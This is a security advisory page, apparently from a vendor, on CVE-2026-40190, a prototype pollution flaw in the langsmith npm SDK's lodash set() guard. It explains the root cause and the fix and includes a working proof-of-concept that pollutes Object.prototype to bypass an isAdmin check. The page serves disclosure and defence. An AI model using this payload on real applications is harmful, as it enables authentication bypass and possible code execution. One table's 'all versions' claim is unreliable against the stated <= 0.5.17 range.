CVE-2026-40190 is a medium-severity (CVSS 5.6) CWE-1321 vulnerability in langsmith. A fix is available for langsmith — see the affected versions and patch details below.
LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40190.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-40190 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
langsmithnpmDescription
GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk
Severity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18
Summary
The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.
Affected Products
| Product | Affected Versions | Component |
|---|---|---|
langsmith (npm) | <= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts |
| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |
Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.
Root Cause
The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:
function baseAssignValue(object: Record<string, any>, key: string, value: any) {
if (key === "__proto__") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value: value, writable: true,
});
} else {
object[key] = value; // ← No guard for "constructor" or "prototype" keys
}
}
This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":
castPath()splits it into["constructor", "prototype", "polluted"]baseSet()iterates:obj.constructor→Object→Object.prototypeassignValue(Object.prototype, "polluted", value)callsbaseAssignValue()- Key is
"polluted"(not"__proto__"), so the guard is bypassed Object.prototype.polluted = value— all objects are polluted
Attack Vector via Anonymizer
The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:
- Extracting string nodes —
extractStringNodes()walks an object recursively and builds dotted paths from keys - Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (
anonymizer/index.ts:95) - Writing back with
set()—set(mutateValue, node.path, node.value)writes the replaced value back (anonymizer/index.ts:123)
An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:
{
wrapper: {
"constructor.prototype.isAdmin": "contains-secret-pattern"
}
}
extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.
Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.
Proof of Concept
import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([
{ pattern: "secret", replace: "[REDACTED]" }
]);
console.log("BEFORE:", ({}).isAdmin); // undefined
const maliciousInput = {
wrapper: {
"constructor.prototype.isAdmin": "this-is-secret-data"
}
};
anonymizer(maliciousInput);
console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"
function checkAccess(user) {
if (user.isAdmin) return "ACCESS GRANTED";
return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED
Impact
Prototype pollution in a Node.js process can enable:
- Authentication bypass —
if (user.isAdmin)checks succeed on all objects - Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach
eval()/Function()sinks - Denial of Service — Overwriting
toString,valueOf, orhasOwnPropertyon all objects - Data exfiltration — Polluting serialization methods to inject attacker-controlled values
Remediation
In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:
function baseAssignValue(object, key, value) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value, writable: true,
});
} else {
object[key] = value;
}
}
As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().
Timeline
| Date | Event |
|---|---|
| 2026-03-24 | Initial report submitted |
| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |
Credits
Reported by: OneThing4101
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | langsmith | all versions | 0.5.18npm install langsmith@0.5.18 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langsmith, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langsmith to 0.5.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40190 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40190 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40190. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40190 in your dependencies?
O3 Security finds CVE-2026-40190 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.